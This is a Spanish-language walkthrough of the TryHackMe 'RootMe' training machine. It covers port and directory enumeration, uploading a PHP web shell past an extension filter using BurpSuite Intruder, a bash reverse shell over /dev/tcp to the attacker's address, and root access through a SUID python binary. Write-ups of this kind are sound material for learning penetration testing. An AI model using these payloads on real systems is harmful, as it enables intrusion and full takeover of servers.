TryHackMe - RootMe

Introducción

En la maquina de hoy estaremos tocando los siguientes temas:

  • Enumeración Web

  • File Upload

  • Subiendo archivo con BurpSuite (Intruder)

  • Abusando de binario SUID (python)

Reconocimiento

Comprobamos que tengamos conexión con la máquina victima.

Ping

ping -c 1 10.10.161.60
PING 10.10.161.60 (10.10.161.60) 56(84) bytes of data.
64 bytes from 10.10.161.60: icmp_seq=1 ttl=63 time=48.5 ms

--- 10.10.161.60 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 48.471/48.471/48.471/0.000 ms

Con el TTL podemos saber que nos enfrentamos a una máquina Linux, ya que es ttl=63, así que es lo más cercano al 64 que es de Linux.

¿Cuales son los TTLs por defecto en los S.O?

  • Linux --> 64

  • Windows --> 128

  • Solaris/AIX -->254

Igualmente el TTL se puede modificar así que no es 100% fiable.

Nmap

# Nmap 7.93 scan initiated Fri Mar 31 11:26:38 2023 as: nmap -sSCV -p- --open --min-rate 4000 -v -n -Pn -oN nmapScan 10.10.161.60
Nmap scan report for 10.10.161.60
Host is up (0.049s latency).
Not shown: 65527 closed tcp ports (reset), 6 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
|   256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_  256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: HackIT - Home
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 31 11:27:05 2023 -- 1 IP address (1 host up) scanned in 26.64 seconds
Parámetro
Descripción

-sS

Escaneo SYN Port scan, agiliza el escaneo

-sC

Para que envíe unos scripts básicos de reconocimiento que tiene Nmap en lua

-sV

Para que los puertos que encuentre abiertos nos muestre las versiones

-p-

Escanee todo el rango de puertos, que en total hay 65535

--open

Solo los puertos abiertos

--min-rate

Que no envíe paquetes más lentos que X

-v

Verbose, que muestre por pantalla los puertos que vaya encontrando antes de acabar el escaneo

-n

Para que no haga resolución DNS

-Pn

Para que no haga Host Discovery

-oN

Que el escaneo actual lo ponga en X archivo en formato normal (nmap).

Encontramos los siguientes puertos

  • 22 --> OpenSSH 7.6p1

  • 80 --> Apache httpd 2.4.29

Enumeración

Puerto 80

En el código fuente no encontramos gran cosa

Fuzzing con wfuzz

wfuzz -c --hc=404 -t 400 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.161.60/FUZZ                                                                                               
********************************************************                                                                                                                                                                                  
* Wfuzz 3.1.0 - The Web Fuzzer                         *                                                                                                                                                                                  
********************************************************

Target: http://10.10.161.60/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                   
=====================================================================

000000001:   200        25 L     44 W       616 Ch      "# directory-list-2.3-medium.txt"                                                                                                                                         
000000003:   200        25 L     44 W       616 Ch      "# Copyright 2007 James Fisher"                                                                                                                                           
000000007:   200        25 L     44 W       616 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                                                                        
000000550:   301        9 L      28 W       310 Ch      "css"                                                                                                                                                                     
000000014:   200        25 L     44 W       616 Ch      "http://10.10.161.60/"                                                                                                                                                    
000000008:   200        25 L     44 W       616 Ch      "# or send a letter to Creative Commons, 171 Second Street,"                                                                                                              
000000012:   200        25 L     44 W       616 Ch      "# on at least 2 different hosts"                                                                                                                                         
000000004:   200        25 L     44 W       616 Ch      "#"                                                                                                                                                                       
000000002:   200        25 L     44 W       616 Ch      "#"                                                                                                                                                                       
000000005:   200        25 L     44 W       616 Ch      "# This work is licensed under the Creative Commons"                                                                                                                      
000000011:   200        25 L     44 W       616 Ch      "# Priority ordered case-sensitive list, where entries were found"                                                                                                       
000000009:   200        25 L     44 W       616 Ch      "# Suite 300, San Francisco, California, 94105, USA."                                                                                                                     
000000010:   200        25 L     44 W       616 Ch      "#"                                                                                                                                                                       
000000006:   200        25 L     44 W       616 Ch      "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                                                                          
000000013:   200        25 L     44 W       616 Ch      "#"                                                                                                                                                                       
000000953:   301        9 L      28 W       309 Ch      "js"                                                                                                                                                                      
000005520:   301        9 L      28 W       312 Ch      "panel"                                                                                                                                                                   
000000164:   301        9 L      28 W       314 Ch      "uploads"                                                                                                                                                                 
000045240:   200        25 L     44 W       616 Ch      "http://10.10.161.60/" 
Parámetro
Descripción

-c

Formato coloreado

--hc

Que no muestre el código que le establezcas [Ej: --hc=404,403)

-t

Numero de hilos

-w

Wordlist

-u

URL

Encontramos 2 directorios que pueden ser interesantes:

  • Panel

  • Uploads

Panel

Encontramos un panel para subir ficheros a la máquina victima

Uploads

Parece que se pueden listar los archivos que podemos subir.

Explotación

Vamos a subir un archivo .php con el siguiente código:

<?php
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

BurpSuite

Vamos a utilizar BurpSuite para interceptar la petición y probar con varias extensiones por si esta sanitizado.

  1. Intercept -> Ctrl + I para mandarlo al intruder.

  2. Añadimos la extensión .php a "Add"

  1. En payloads ponemos las siguientes extensiones

  • php

  • php3

  • phar

  • phtml

  1. En Config --> Grep - Extract le damos a Refetch response y vamos a donde sale el error o validación de que el archivo se ha subido y lo seleccionamos

Y como vemos en la imagen, ha funcionado con las extensiones, php3,phar y phtml.

php3,phar,phtml

Abrimos file.phar y comprobamos que funcione los comandos:

Reverse Shell

Nos ponemos en escucha en nuestra máquina en el puerto 443

nc -lvnp 443

Nos mandamos la reverse shell

10.10.161.60/uploads/file.phar?cmd=bash -c "bash -i >%26 /dev/tcp/10.18.9.85/443 0>%261"

Escalada de Privilegios

Enumeración básica sistema

Comandos ejecutados

  • id

  • uname -a

  • lsb_release -a

No encontramos nada

www-data@rootme:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@rootme:/$ uname -a
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
www-data@rootme:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.4 LTS
Release:        18.04
Codename:       bionic
www-data@rootme:/$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
rootme:x:1000:1000:RootMe:/home/rootme:/bin/bash
test:x:1001:1001:,,,:/home/test:/bin/bash
www-data@rootme:/$ 

Solamente listamos los siguientes usuarios:

  • Root

  • Rootme

  • Test

Buscando privilegios sudo y suid

Comandos ejecutados

  • sudo -l

  • find / -user root -perm -4000 2>/dev/null

No tenemos ningún permiso sudo.

Sudo -l 
www-data@rootme:/$ find / -user root -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount

Encontramos un binario que tiene SUID

  • /usr/bin/python

Nos dirigimos a GTFOBINS y vemos que python con el permisos SUID podemos hacer lo siguiente:

./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Si ejecutamos esto en la máquina nos dará una shell como root.

Despedida

Para mi fue una máquina muy interesante que me ayudo a reforzar el File Upload y aprender bien como realizar un ataque con el Intruder en BurpSuite, fue una máquina divertida aunque bastante fácil.

¡Espero que os haya gustado!

Last updated